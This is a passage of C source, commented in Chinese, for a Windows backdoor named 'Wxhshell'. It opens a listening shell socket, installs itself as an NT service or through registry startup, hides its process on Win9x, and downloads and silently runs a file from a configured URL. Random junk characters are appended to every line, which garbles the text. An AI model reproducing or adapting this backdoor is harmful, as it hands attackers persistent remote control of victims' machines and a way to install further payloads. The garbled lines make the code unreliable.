DWORD AffinityMask; 3m#/1=@o
DWORD BasePriority; ^z%ShmM&LZ
ULONG UniqueProcessId; b,tf]Z-
ULONG InheritedFromUniqueProcessId; Ww[Xqmg
} PROCESS_BASIC_INFORMATION; P,}cH;w6Ck
A./VO
PROCNTQSIP NtQueryInformationProcess; `v|w&ty*
b-+~D9U<
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z3bRV{{YqN
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nN]GO}
1j!LK-
HANDLE hProcess; w I7iE4\vz
PROCESS_BASIC_INFORMATION pbi; 1_of;=9V
KS3>c7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \Xr
Sn_p-
if(NULL == hInst ) return 0; I+4#LR3;
=G9 9U/
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <U]!1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qq,#bRe
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5!b+^UR;z
$Sx(vq6(
if (!NtQueryInformationProcess) return 0; /~O>He
j^Vr!y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6VsgZ"Il
if(!hProcess) return 0; x/B1\U
I
UK7pQt}9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p";5J+?(
|}-bMQ|
CloseHandle(hProcess); pXy'S s@y
S#^2k!(|G
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5OR2\h!XZt
if(hProcess==NULL) return 0; <?&Y_
,Hzz:ce
HMODULE hMod; 2lc
char procName[255]; w1&\heSQ
unsigned long cbNeeded; ZR,"w
o
_G,Ph!7
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); aWCZ1F
M&v;#CV
CloseHandle(hProcess); j TyR+#Wn
?^Q8#Y^M
if(strstr(procName,"services")) return 1; // 以服务启动 %2;Nj;
J$
@|2L>N
return 0; // 注册表启动 4!</JZX~$
} bih%hqny
+QZ}c@'r
// 主模块 N*w6D:
int StartWxhshell(LPSTR lpCmdLine) nr{#Krkb
{ @CTSvTt$
SOCKET wsl; 0ap_tCY
BOOL val=TRUE; ^xt @
int port=0; Z0'&@P$
struct sockaddr_in door; lA/.4"nN
0aRHXc2<
if(wscfg.ws_autoins) Install(); LJc"T)>$`
AbExJ~JV\g
port=atoi(lpCmdLine); F4*ssx
4x)etH^o
if(port<=0) port=wscfg.ws_port; 1o8C4?T&
@BmI1
WSADATA data; !S3^{l-
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ixY[ HDPq
/=(PMoZu
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sOyL
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^cnTZzT#Q
door.sin_family = AF_INET; s 0To^I
door.sin_addr.s_addr = inet_addr("127.0.0.1"); _t/~C*=:=
door.sin_port = htons(port); BI| TM2oa
P{K;vEp
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \GD\N=?~
closesocket(wsl); tgVMgu
return 1; .}c&"L;W
} A/c #2
)Ggv_mc h
if(listen(wsl,2) == INVALID_SOCKET) { Pxvf"SXX
closesocket(wsl); _yRD*2 !;
return 1; gWu<5Y=C
} {6tj$&\)
Wxhshell(wsl); WbWEgd%8.
WSACleanup(); }WV}in0
T!ww3d
return 0; (U B?UJc
Ab
In\,x
} YW2h#PV6_
FPE%h=sw
// 以NT服务方式启动 Q3I^(Ll"L
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2;w`W58
{ `x]`<kS;
DWORD status = 0; *6bO2LO"
DWORD specificError = 0xfffffff; /os,s[w
}3}H}
serviceStatus.dwServiceType = SERVICE_WIN32; aJ"m`5]=%
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *N&~Uq^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; % aqP{mOO
serviceStatus.dwWin32ExitCode = 0; &"?S0S>r!
serviceStatus.dwServiceSpecificExitCode = 0; c[>xM3=e^q
serviceStatus.dwCheckPoint = 0; H:F'5Zt
serviceStatus.dwWaitHint = 0; %6W%-`
bs&>QsI?j
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8Drz
i!}
if (hServiceStatusHandle==0) return; gkmV;0
1N}vz(0"
status = GetLastError(); )`BKEaf
if (status!=NO_ERROR) p/U{*i]t
{ ~Z~V:~
serviceStatus.dwCurrentState = SERVICE_STOPPED; o1?S*
serviceStatus.dwCheckPoint = 0; x']Fe7nv
serviceStatus.dwWaitHint = 0; Gsu?m
serviceStatus.dwWin32ExitCode = status; #\8"d
serviceStatus.dwServiceSpecificExitCode = specificError; k2O3{xIjc
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #,9s\T
return; \c}pzBFd
} aH?+^f"D
>r3SF3XMq
serviceStatus.dwCurrentState = SERVICE_RUNNING; _CMNmmp`e
serviceStatus.dwCheckPoint = 0; 7Fx0#cS"\
serviceStatus.dwWaitHint = 0; Yi j^hs@eV
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hXh nJ
} Ae[fW97
4a=QTq0p
// 处理NT服务事件,比如:启动、停止 aka)#0l .
VOID WINAPI NTServiceHandler(DWORD fdwControl) FP'-=zgc
{ Xp.$FJ1)
switch(fdwControl) #U(kK(uO
{ `&9iC 4P
case SERVICE_CONTROL_STOP: E&N~h|CL
serviceStatus.dwWin32ExitCode = 0; 9:P\)'y?
serviceStatus.dwCurrentState = SERVICE_STOPPED; dmWCNeja.
serviceStatus.dwCheckPoint = 0; T#<Q[h=
serviceStatus.dwWaitHint = 0; (6Ciqf8
{ I^Dm 3yz
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N8iLI`
} "~mY4WVG
return; 2?{'(iay
case SERVICE_CONTROL_PAUSE: nTl2F1(sV7
serviceStatus.dwCurrentState = SERVICE_PAUSED; e%lxRN"b
break; =4$ErwI_dm
case SERVICE_CONTROL_CONTINUE: HbRvU}C1
serviceStatus.dwCurrentState = SERVICE_RUNNING; >6R3KJe
break; r
)HZaq
case SERVICE_CONTROL_INTERROGATE: /9=r.Vxh
break; oY+p;&H
}; guG&3{&\s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); TuEM
} WvZt~x&2
Z9.0#Jnu
// 标准应用程序主函数 :(\JY?+w
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?N(<w?Gat
{ G
c\^Kg^#
gyb99c,)
// 获取操作系统版本 UiVGOQq
OsIsNt=GetOsVer(); d_Jj&:"l
GetModuleFileName(NULL,ExeFile,MAX_PATH); :dqZM#$d
Gj?$HFa
// 从命令行安装 6?Kl L [~
if(strpbrk(lpCmdLine,"iI")) Install(); !TivQB
l/,la]!T
// 下载执行文件 qW`?,N)r
if(wscfg.ws_downexe) { fwvwmZW
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !1=*"H%t
WinExec(wscfg.ws_filenam,SW_HIDE); v;`>pCal
} bZ_TW9mq
pztfm'
if(!OsIsNt) { mITNx^p4f
// 如果时win9x,隐藏进程并且设置为注册表启动 eyuyaSE
HideProc(); ):_@i
StartWxhshell(lpCmdLine); e=nvm'[h
} q|:wzdmNZ
else Ta[\BWR2
if(StartFromService()) 3vKTCHbk9
// 以服务方式启动 :0,yq?M
StartServiceCtrlDispatcher(DispatchTable); OIJT~Z}
else 1+gF fKq
// 普通方式启动 tXqX[Td`0g
StartWxhshell(lpCmdLine); ;*$e8y2
M\/hK2J# #
return 0; v3aPHf
}